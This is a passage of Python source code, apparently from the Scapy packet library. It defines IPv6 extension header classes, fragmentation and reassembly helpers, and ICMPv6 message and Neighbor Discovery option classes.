not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 0 }} ######################## Destination Option Header ########################## class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 60 }} ############################# Routing Header ################################ class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust = lambda pkt,x:2*x), # in 8 bytes blocks ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 32), # There is meaning in this field ... IP6ListField("addresses", [], length_from = lambda pkt: 8*pkt.len)] overload_fields = {IPv6: { "nh": 43 }} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) ########################### Fragmentation Header ############################ class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None) ] overload_fields = {IPv6: { "nh": 44 }} def defragment6(pktlist): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ l = filter(lambda x: IPv6ExtHdrFragment in x, pktlist) # remove non fragments if not l: return [] id = l[0][IPv6ExtHdrFragment].id llen = len(l) l = filter(lambda x: x[IPv6ExtHdrFragment].id == id, l) if len(l) != llen: warning("defragment6: some fragmented packets have been removed from list") llen = len(l) # reorder fragments i = 0 res = [] while l: min_pos = 0 min_offset = l[0][IPv6ExtHdrFragment].offset for p in l: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(l[min_pos]) del(l[min_pos]) # regenerate the fragmentable part fragmentable = "" for p in res: q=p[IPv6ExtHdrFragment] offset = 8*q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) fragmentable += "X"*(offset - len(fragmentable)) fragmentable += str(q.payload) # Regenerate the unfragmentable part. q = res[0] nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh del q[IPv6ExtHdrFragment].underlayer.payload q /= conf.raw_layer(load=fragmentable) return IPv6(str(q)) def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result list. """ pkt = pkt.copy() if not IPv6ExtHdrFragment in pkt: # TODO : automatically add a fragment before upper Layer # at the moment, we do nothing and return initial packet # as single element of a list return [pkt] # If the payload is bigger than 65535, a Jumbo payload must be used, as # an IPv6 packet can't be bigger than 65535 bytes. if len(str(pkt[IPv6ExtHdrFragment])) > 65535: warning("An IPv6 packet can'be bigger than 65535, please use a Jumbo payload.") return [] s = str(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = str(IPv6(src="::1", dst="::1")/fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = pkt[IPv6ExtHdrFragment].nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] del fragHeader.payload # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt del pkt[IPv6ExtHdrFragment].underlayer.payload # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart/fragHeader/fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0,0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize / 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/conf.raw_layer(load=remain) res.append(tempo) break return res ############################### AH Header ################################### # class _AHFieldLenField(FieldLenField): # def getfield(self, pkt, s): # l = getattr(pkt, self.fld) # l = (l*8)-self.shift # i = self.m2i(pkt, s[:l]) # return s[l:],i # class _AHICVStrLenField(StrLenField): # def i2len(self, pkt, x): # class IPv6ExtHdrAH(_IPv6ExtHdr): # name = "IPv6 Extension Header - AH" # fields_desc = [ ByteEnumField("nh", 59, ipv6nh), # _AHFieldLenField("len", None, "icv"), # ShortField("res", 0), # IntField("spi", 0), # IntField("sn", 0), # _AHICVStrLenField("icv", None, "len", shift=2) ] # overload_fields = {IPv6: { "nh": 51 }} # def post_build(self, pkt, pay): # if self.len is None: # pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:] # if self.segleft is None: # pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:] # return _IPv6ExtHdr.post_build(self, pkt, pay) ############################### ESP Header ################################## # class IPv6ExtHdrESP(_IPv6extHdr): # name = "IPv6 Extension Header - ESP" # fields_desc = [ IntField("spi", 0), # IntField("sn", 0), # # there is things to extract from IKE work # ] # overloads_fields = {IPv6: { "nh": 50 }} ############################################################################# ############################################################################# ### ICMPv6* Classes ### ############################################################################# ############################################################################# icmp6typescls = { 1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: "ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", #138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: "ICMPv6ND_INDSol", 142: "ICMPv6ND_INDAdv", #143: Do Me - RFC 3810 144: "ICMPv6HAADRequest", 145: "ICMPv6HAADReply", 146: "ICMPv6MPSol", 147: "ICMPv6MPAdv", #148: Do Me - SEND related - RFC 3971 #149: Do Me - SEND related - RFC 3971 151: "ICMPv6MRD_Advertisement", 152: "ICMPv6MRD_Solicitation", 153: "ICMPv6MRD_Termination", } icmp6typesminhdrlen = { 1: 8, 2: 8, 3: 8, 4: 8, 128: 8, 129: 8, 130: 24, 131: 24, 132: 24, 133: 8, 134: 16, 135: 24, 136: 24, 137: 40, #139: #140 141: 8, 142: 8, 144: 8, 145: 8, 146: 8, 147: 8, 151: 8, 152: 4, 153: 4 } icmp6types = { 1 : "Destination unreachable", 2 : "Packet too big", 3 : "Time exceeded", 4 : "Parameter problem", 100 : "Private Experimentation", 101 : "Private Experimentation", 128 : "Echo Request", 129 : "Echo Reply", 130 : "MLD Query", 131 : "MLD Report", 132 : "MLD Done", 133 : "Router Solicitation", 134 : "Router Advertisement", 135 : "Neighbor Solicitation", 136 : "Neighbor Advertisement", 137 : "Redirect Message", 138 : "Router Renumbering", 139 : "ICMP Node Information Query", 140 : "ICMP Node Information Response", 141 : "Inverse Neighbor Discovery Solicitation Message", 142 : "Inverse Neighbor Discovery Advertisement Message", 143 : "Version 2 Multicast Listener Report", 144 : "Home Agent Address Discovery Request Message", 145 : "Home Agent Address Discovery Reply Message", 146 : "Mobile Prefix Solicitation", 147 : "Mobile Prefix Advertisement", 148 : "Certification Path Solicitation", 149 : "Certification Path Advertisement", 151 : "Multicast Router Advertisement", 152 : "Multicast Router Solicitation", 153 : "Multicast Router Termination", 200 : "Private Experimentation", 201 : "Private Experimentation" } class _ICMPv6(Packet): name = "ICMPv6 dummy class" overload_fields = {IPv6: {"nh": 58}} def post_build(self, p, pay): p += pay if self.cksum == None: chksum = in6_chksum(58, self.underlayer, p) p = p[:2]+struct.pack("!H", chksum)+p[4:] return p def hashret(self): return self.payload.hashret() def answers(self, other): # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ... if (isinstance(self.underlayer, IPerror6) or isinstance(self.underlayer, _IPv6ExtHdr) and isinstance(other, _ICMPv6)): if not ((self.type == other.type) and (self.code == other.code)): return 0 return 1 return 0 class _ICMPv6Error(_ICMPv6): name = "ICMPv6 errors dummy class" def guess_payload_class(self,p): return IPerror6 class ICMPv6Unknown(_ICMPv6): name = "Scapy6 ICMPv6 fallback class" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteField("code",0), XShortField("cksum", None), StrField("msgbody", "")] ################################## RFC 2460 ################################# class ICMPv6DestUnreach(_ICMPv6Error): name = "ICMPv6 Destination Unreachable" fields_desc = [ ByteEnumField("type",1, icmp6types), ByteEnumField("code",0, { 0: "No route to destination", 1: "Communication with destination administratively prohibited", 2: "Beyond scope of source address", 3: "Address unreachable", 4: "Port unreachable" }), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused",0)] class ICMPv6PacketTooBig(_ICMPv6Error): name = "ICMPv6 Packet Too Big" fields_desc = [ ByteEnumField("type",2, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("mtu",1280)] class ICMPv6TimeExceeded(_ICMPv6Error): name = "ICMPv6 Time Exceeded" fields_desc = [ ByteEnumField("type",3, icmp6types), ByteEnumField("code",0, { 0: "hop limit exceeded in transit", 1: "fragment reassembly time exceeded"}), XShortField("cksum", None), ByteField("length", 0), X3BytesField("unused",0)] # The default pointer value is set to the next header field of # the encapsulated IPv6 packet class ICMPv6ParamProblem(_ICMPv6Error): name = "ICMPv6 Parameter Problem" fields_desc = [ ByteEnumField("type",4, icmp6types), ByteEnumField("code",0, {0: "erroneous header field encountered", 1: "unrecognized Next Header type encountered", 2: "unrecognized IPv6 option encountered"}), XShortField("cksum", None), IntField("ptr",6)] class ICMPv6EchoRequest(_ICMPv6): name = "ICMPv6 Echo Request" fields_desc = [ ByteEnumField("type", 128, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id",0), XShortField("seq",0), StrField("data", "")] def mysummary(self): return self.sprintf("%name% (id: %id% seq: %seq%)") def hashret(self): return struct.pack("HH",self.id,self.seq)+self.payload.hashret() class ICMPv6EchoReply(ICMPv6EchoRequest): name = "ICMPv6 Echo Reply" type = 129 def answers(self, other): # We could match data content between request and reply. return (isinstance(other, ICMPv6EchoRequest) and self.id == other.id and self.seq == other.seq and self.data == other.data) ############ ICMPv6 Multicast Listener Discovery (RFC3810) ################## # tous les messages MLD sont emis avec une adresse source lien-locale # -> Y veiller dans le post_build si aucune n'est specifiee # La valeur de Hop-Limit doit etre de 1 # "and an IPv6 Router Alert option in a Hop-by-Hop Options # header. (The router alert option is necessary to cause routers to # examine MLD messages sent to multicast addresses in which the router # itself has no interest" class _ICMPv6ML(_ICMPv6): fields_desc = [ ByteEnumField("type", 130, icmp6types), ByteField("code", 0), XShortField("cksum", None), ShortField("mrd", 0), ShortField("reserved", 0), IP6Field("mladdr","::")] # general queries are sent to the link-scope all-nodes multicast # address ff02::1, with a multicast address field of 0 and a MRD of # [Query Response Interval] # Default value for mladdr is set to 0 for a General Query, and # overloaded by the user for a Multicast Address specific query # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLQuery(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Query" type = 130 mrd = 10000 # 10s for mrd mladdr = "::" overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }} def hashret(self): if self.mladdr != "::": return struct.pack("HH",self.mladdr)+self.payload.hashret() else: return self.payload.hashret() # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLReport(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Report" type = 131 overload_fields = {IPv6: {"hlim": 1, "nh": 58}} # implementer le hashret et le answers # When a node ceases to listen to a multicast address on an interface, # it SHOULD send a single Done message to the link-scope all-routers # multicast address (FF02::2), carrying in its multicast address field # the address to which it is ceasing to listen # TODO : See what we can do to automatically include a Router Alert # Option in a Destination Option Header. class ICMPv6MLDone(_ICMPv6ML): # RFC 2710 name = "MLD - Multicast Listener Done" type = 132 overload_fields = {IPv6: { "dst": "ff02::2", "hlim": 1, "nh": 58}} ########## ICMPv6 MRD - Multicast Router Discovery (RFC 4286) ############### # TODO: # - 04/09/06 troglocan : find a way to automatically add a router alert # option for all MRD packets. This could be done in a specific # way when IPv6 is the under layer with some specific keyword # like 'exthdr'. This would allow to keep compatibility with # providing IPv6 fields to be overloaded in fields_desc. # # At the moment, if user inserts an IPv6 Router alert option # none of the IPv6 default values of IPv6 layer will be set. class ICMPv6MRD_Advertisement(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Advertisement" fields_desc = [ByteEnumField("type", 151, icmp6types), ByteField("advinter", 20), XShortField("cksum", None), ShortField("queryint", 0), ShortField("robustness", 0)] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:8], s[8:] class ICMPv6MRD_Solicitation(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Solicitation" fields_desc = [ByteEnumField("type", 152, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::2"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] class ICMPv6MRD_Termination(_ICMPv6): name = "ICMPv6 Multicast Router Discovery Termination" fields_desc = [ByteEnumField("type", 153, icmp6types), ByteField("res", 0), XShortField("cksum", None) ] overload_fields = {IPv6: { "nh": 58, "hlim": 1, "dst": "ff02::6A"}} # IPv6 Router Alert requires manual inclusion def extract_padding(self, s): return s[:4], s[4:] ################### ICMPv6 Neighbor Discovery (RFC 2461) #################### icmp6ndopts = { 1: "Source Link-Layer Address", 2: "Target Link-Layer Address", 3: "Prefix Information", 4: "Redirected Header", 5: "MTU", 6: "NBMA Shortcut Limit Option", # RFC2491 7: "Advertisement Interval Option", 8: "Home Agent Information Option", 9: "Source Address List", 10: "Target Address List", 11: "CGA Option", # RFC 3971 12: "RSA Signature Option", # RFC 3971 13: "Timestamp Option", # RFC 3971 14: "Nonce option", # RFC 3971 15: "Trust Anchor Option", # RFC 3971 16: "Certificate Option", # RFC 3971 17: "IP Address Option", # RFC 4068 18: "New Router Prefix Information Option", # RFC 4068 19: "Link-layer Address Option", # RFC 4068 20: "Neighbor Advertisement Acknowledgement Option", 21: "CARD Request Option", # RFC 4065/4066/4067 22: "CARD Reply Option", # RFC 4065/4066/4067 23: "MAP Option", # RFC 4140 24: "Route Information Option", # RFC 4191 25: "Recusive DNS Server Option", 26: "IPv6 Router Advertisement Flags Option" } icmp6ndoptscls = { 1: "ICMPv6NDOptSrcLLAddr", 2: "ICMPv6NDOptDstLLAddr", 3: "ICMPv6NDOptPrefixInfo", 4: "ICMPv6NDOptRedirectedHdr", 5: "ICMPv6NDOptMTU", 6: "ICMPv6NDOptShortcutLimit", 7: "ICMPv6NDOptAdvInterval", 8: "ICMPv6NDOptHAInfo", 9: "ICMPv6NDOptSrcAddrList", 10: "ICMPv6NDOptTgtAddrList", #11: Do Me, #12: Do Me, #13: Do Me, #14: Do Me, #15: Do Me, #16: Do Me, 17: "ICMPv6NDOptIPAddr", 18: "ICMPv6NDOptNewRtrPrefix", 19: "ICMPv6NDOptLLA", #18: Do Me, #19: Do Me, #20: Do Me, #21: Do Me, #22: Do Me, 23: "ICMPv6NDOptMAP", 24: "ICMPv6NDOptRouteInfo", 25: "ICMPv6NDOptRDNSS", 26: "ICMPv6NDOptEFA", 31: "ICMPv6NDOptDNSSL" } class _ICMPv6NDGuessPayload: name = "Dummy ND class that implements guess_payload_class()" def guess_payload_class(self,p): if len(p) > 1: return get_cls(icmp6ndoptscls.get(ord(p[0]),"Raw"), "Raw") # s/Raw/ICMPv6NDOptUnknown/g ? # Beginning of ICMPv6 Neighbor Discovery Options. class ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Scapy Unimplemented" fields_desc = [ ByteField("type",None), FieldLenField("len",None,length_of="data",fmt="B", adjust = lambda pkt,x: x+2), StrLenField("data","", length_from = lambda pkt: pkt.len-2) ] # NOTE: len includes type and len field. Expressed in unit of 8 bytes # TODO: Revoir le coup du ETHER_ANY class ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Source Link-Layer Address" fields_desc = [ ByteField("type", 1), ByteField("len", 1), MACField("lladdr", ETHER_ANY) ] def mysummary(self): return self.sprintf("%name% %lladdr%") class ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr): name = "ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address" type = 2 class ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Prefix Information" fields_desc = [ ByteField("type",3), ByteField("len",4), ByteField("prefixlen",None), BitField("L",1,1), BitField("A",1,1), BitField("R",0,1), BitField("res1",0,5), XIntField("validlifetime",0xffffffffL), XIntField("preferredlifetime",0xffffffffL), XIntField("res2",0x00000000), IP6Field("prefix","::") ] def mysummary(self): return self.sprintf("%name% %prefix%") # TODO: We should also limit the size of included packet to something # like (initiallen - 40 - 2) class TruncPktLenField(PacketLenField): __slots__ = ["cur_shift"] def __init__(self, name, default, cls, cur_shift, length_from=None, shift=0): PacketLenField.__init__(self, name, default, cls, length_from=length_from) self.cur_shift = cur_shift def getfield(self, pkt, s): l = self.length_from(pkt) i = self.m2i(pkt, s[:l]) return s[l:],i def m2i(self, pkt, m): s = None try: # It can happen we have sth shorter than 40 bytes s = self.cls(m) except: return conf.raw_layer(m) return s def i2m(self, pkt, x): s = str(x) l = len(s) r = (l + self.cur_shift) % 8 l = l - r return s[:l] def i2len(self, pkt, i): return len(self.i2m(pkt, i)) # Faire un post_build pour le recalcul de la taille (en multiple de 8 octets) class ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - Redirected Header" fields_desc = [ ByteField("type",4), FieldLenField("len", None, length_of="pkt", fmt="B", adjust = lambda pkt,x:(x+8)/8), StrFixedLenField("res", "\x00"*6, 6), TruncPktLenField("pkt", "", IPv6, 8, length_from = lambda pkt: 8*pkt.len-8) ] # See which value should be used for default MTU instead of 1280 class ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery Option - MTU" fields_desc = [ ByteField("type",5), ByteField("len",1), XShortField("res",0), IntField("mtu",1280)] class ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet): # RFC 2491 name = "ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit" fields_desc = [ ByteField("type", 6), ByteField("len", 1), ByteField("shortcutlim", 40), # XXX ByteField("res1", 0), IntField("res2", 0) ] class ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Interval Advertisement" fields_desc = [ ByteField("type",7), ByteField("len",1), ShortField("res", 0), IntField("advint", 0) ] def mysummary(self): return self.sprintf("%name% %advint% milliseconds") class ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Neighbor Discovery - Home Agent Information" fields_desc = [ ByteField("type",8), ByteField("len",1), ShortField("res", 0), ShortField("pref", 0), ShortField("lifetime", 1)] def mysummary(self): return self.sprintf("%name% %pref% %lifetime% seconds") # type 9 : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support # type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support class ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)" fields_desc = [ ByteField("type",17), ByteField("len", 3), ByteEnumField("optcode", 1, {1: "Old Care-Of Address", 2: "New Care-Of Address", 3: "NAR's IP address" }), ByteField("plen", 64), IntField("res", 0), IP6Field("addr", "::") ] class ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)" fields_desc = [ ByteField("type",18), ByteField("len", 3), ByteField("optcode", 0), ByteField("plen", 64), IntField("res", 0), IP6Field("prefix", "::") ] _rfc4068_lla_optcode = {0: "Wildcard requesting resolution for all nearby AP", 1: "LLA for the new AP", 2: "LLA of the MN", 3: "LLA of the NAR", 4: "LLA of the src of TrSolPr or PrRtAdv msg", 5: "AP identified by LLA belongs to current iface of router", 6: "No preifx info available for AP identified by the LLA", 7: "No fast handovers support for AP identified by the LLA" } class ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet): # RFC 4068 name = "ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)" fields_desc = [ ByteField("type", 19), ByteField("len", 1), ByteEnumField("optcode", 0, _rfc4068_lla_optcode), MACField("lla", ETHER_ANY) ] # We only support ethernet class ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet): # RFC 4140 name = "ICMPv6 Neighbor Discovery - MAP Option" fields_desc = [ ByteField("type", 23), ByteField("len", 3), BitField("dist", 1, 4), BitField("pref", 15, 4), # highest availability BitField("R", 1, 1), BitField("res", 0, 7), IntField("validlifetime", 0xffffffff), IP6Field("addr", "::") ] class _IP6PrefixField(IP6Field): __slots__ = ["length_from"] def __init__(self, name, default): IP6Field.__init__(self, name, default) self.length_from = lambda pkt: 8*(pkt.len - 1) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): l = self.length_from(pkt) p = s[:l] if l < 16: p += '\x00'*(16-l) return s[l:], self.m2i(pkt,p) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def i2m(self, pkt, x): l = pkt.len if x is None: x = "::" if l is None: l = 1 x = inet_pton(socket.AF_INET6, x) if l is None: return x if l in [0, 1]: return "" if l in [2, 3]: return x[:8*(l-1)] return x + '\x00'*8*(l-3) class ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet): # RFC 4191 name = "ICMPv6 Neighbor Discovery Option - Route Information Option" fields_desc = [ ByteField("type",24), FieldLenField("len", None, length_of="prefix", fmt="B", adjust = lambda pkt,x: x/8 + 1), ByteField("plen", None), BitField("res1",0,3), BitField("prf",0,2), BitField("res2",0,3), IntField("rtlifetime", 0xffffffff), _IP6PrefixField("prefix", None) ] class ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet): # RFC 5006 name = "ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option" fields_desc = [ ByteField("type", 25), FieldLenField("len", None, count_of="dns", fmt="B", adjust = lambda pkt,x: 2*x+1), ShortField("res", None), IntField("lifetime", 0xffffffff), IP6ListField("dns", [], length_from = lambda pkt: 8*(pkt.len-1)) ] class ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet): # RFC 5175 (prev. 5075) name = "ICMPv6 Neighbor Discovery Option - Expanded Flags Option" fields_desc = [ ByteField("type", 26), ByteField("len", 1), BitField("res", 0, 48) ] # As required in Sect 8. of RFC 3315, Domain Names must be encoded as # described in section 3.1 of RFC 1035 # XXX Label should be at most 63 octets in length : we do not enforce it # Total length of domain should be 255 : we do not enforce it either class DomainNameListField(StrLenField): __slots__ = ["padded"] islist = 1 padded_unit = 8 def __init__(self, name, default, fld=None, length_from=None, padded=False): self.padded = padded StrLenField.__init__(self, name, default, fld, length_from) def i2len(self, pkt, x): return len(self.i2m(pkt, x)) def m2i(self, pkt, x): res = [] while x: # Get a name until \x00 is reached cur = [] while x and x[0] != '\x00': l = ord(x[0]) cur.append(x[1:l+1]) x = x[l+1:] if self.padded: # Discard following \x00 in padded mode if len(cur): res.append(".".join(cur) + ".") else: # Store the current name res.append(".".join(cur) + ".") if x and x[0] == '\x00': x = x[1:] return res def i2m(self, pkt, x): def conditionalTrailingDot(z): if z and z[-1] == '\x00': return z return z+'\x00' # Build the encode names tmp = map(lambda y: map((lambda z: chr(len(z))+z), y.split('.')), x) ret_string = "".join(map(lambda x: conditionalTrailingDot("".join(x)), tmp)) # In padded mode, add some \x00 bytes if self.padded and not len(ret_string) % self.padded_unit == 0: ret_string += "\x00" * (self.padded_unit - len(ret_string) % self.padded_unit) return ret_string class ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet): # RFC 6106 name = "ICMPv6 Neighbor Discovery Option - DNS Search List Option" fields_desc = [ ByteField("type", 31), FieldLenField("len", None, length_of="searchlist", fmt="B", adjust=lambda pkt, x: 1+ x/8), ShortField("res", None), IntField("lifetime", 0xffffffff), DomainNameListField("searchlist", [], length_from=lambda pkt: 8*pkt.len -8, padded=True) ] # End of ICMPv6 Neighbor Discovery Options. class ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Solicitation" fields_desc = [ ByteEnumField("type", 133, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::2", "hlim": 255 }} class ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6): name = "ICMPv6 Neighbor Discovery - Router Advertisement" fields_desc = [ ByteEnumField("type", 134, icmp6types), ByteField("code",0), XShortField("cksum", None), ByteField("chlim",0), BitField("M",0,1), BitField("O",0,1), BitField("H",0,1), BitEnumField("prf",1,2, { 0: "Medium (default)", 1: "High", 2: "Reserved", 3: "Low" } ), # RFC 4191 BitField("P",0,1), BitField("res",0,2), ShortField("routerlifetime",1800), IntField("reachabletime",0), IntField("retranstimer",0) ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def answers(self, other): return isinstance(other, ICMPv6ND_RS) class ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Solicitation" fields_desc = [ ByteEnumField("type",135, icmp6types), ByteField("code",0), XShortField("cksum", None), IntField("res", 0), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.tgt+self.payload.hashret() class ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Neighbor Advertisement" fields_desc = [ ByteEnumField("type",136, icmp6types), ByteField("code",0), XShortField("cksum", None), BitField("R",1,1), BitField("S",0,1), BitField("O",1,1), XBitField("res",0,29), IP6Field("tgt","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} def mysummary(self): return self.sprintf("%name% (tgt: %tgt%)") def hashret(self): return self.tgt+self.payload.hashret() def answers(self, other): return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt # associated possible options : target link-layer option, Redirected header class ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet): name = "ICMPv6 Neighbor Discovery - Redirect" fields_desc = [ ByteEnumField("type",137, icmp6types), ByteField("code",0), XShortField("cksum", None), XIntField("res",0), IP6Field("tgt","::"), IP6Field("dst","::") ] overload_fields = {IPv6: { "nh": 58, "dst": "ff02::1", "hlim": 255 }} ################ ICMPv6 Inverse Neighbor Discovery (RFC 3122) ############### class ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet): name = "ICMPv6 Inverse 